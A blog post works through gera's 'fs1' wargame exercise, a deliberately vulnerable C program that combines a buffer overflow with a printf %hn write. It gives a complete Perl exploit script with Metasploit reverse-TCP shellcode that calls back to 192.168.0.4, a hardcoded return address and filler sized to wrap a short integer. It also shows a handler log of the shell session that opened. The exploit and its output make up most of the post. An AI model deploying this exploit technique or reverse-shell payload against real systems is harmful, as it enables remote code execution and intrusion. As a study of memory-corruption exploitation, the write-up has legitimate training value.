Wednesday, September 7, 2011

Format Strings: fs1


/* fs1.c *
* specially crafted to feed your brain by gera */

/* Don't forget, *
* more is less, *
* here's a proof */

int main(int argv,char **argc) {
short int zero=0;
int *plen=(int*)malloc(sizeof(int));
char buf[256];

strcpy(buf,argc[1]);
printf("%s%hn\n",buf,plen);
while(zero);
}

A direct saved eip overwrite via a buffer overflow won't work here because there are 2 important things in the way.

First is plen, a pointer to an int. This is where the %hn format specifier in printf stores the number of characters already printed. If this is overwritten with a bunch of "A"'s there will be a segfault when printf tries to access address 0x41414141. plen needs to point to a writable address.

The second obstacle is zero, a short int (2 bytes). If this is overwritten with anything but 0, the while() loop will loop forever and there won't be a return.

#!/usr/bin/perl

my $nops = "\x90" x 50;

# msf3 linux/x86/shell_reverse_tcp, LHOST=192.168.0.4, badchars="\x00"`
my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

# 264 bytes fills up buf
my $filler = "A" x (264 - length($nops) - length($shellcode));

# overwrite plen so that it points to zero
my $plen = "\x0e\xfb\xfe\xbf";

# 16 more bytes to get to main's saved eip
my $filler2 = "B" x 16;

# hardcoded cause i'm lazy
my $eip = "\x04\xfa\xfe\xbf";

# total length must be 65536 bytes to overwrite zero so that it is 0
my $filler3 = "D" x (65536 - length($nops) - length($shellcode) - length($filler) - length($plen) - length($filler2) - length($eip));

print $nops.$shellcode.$filler.$plen.$filler2.$eip.$filler3;

buf is filled with a nop sled, shellcode and (264-length(nops)-length(shellcode)) "A"'s.

This positions me at plen, which needs to be overwritten with a writable address. Addresses such as saved eips, dtor, gots, etc. don't work well here because %hn (short int) will only overwrite the 2 least significant bytes of whatever the address points to and this won't get me near my shellcode. I overwrite plen with zero's address--condition 1 is satisfied.

16 more filler bytes are added. This overwrites zero with a non-zero value, but that's ok. Just a note, overwriting zero with "\x00\x00" directly will truncate the input and prevent main's return address to be overwritten.

main's saved eip is now overwritten with a address that points to buf somewhere in the nop sled--like in a normal buffer overflow.

The %hn format specifier in printf will store the number of characters printed so far--the number of characters produced by printing the %s format specifier--into whatever plen points to. Currently plen points to zero and to satisfy the 2 condition zero needs to be overwritten with 0. The number of characters printed is already greater than 0, so the next best thing is to overflow the short integer by printing 0x10000 (minus characters already printed) more filler characters.

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Command shell session 2 opened (192.168.0.4:4444 -> 192.168.0.38:49944) at 2011-09-07 22:09:39 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)

No comments:

Post a Comment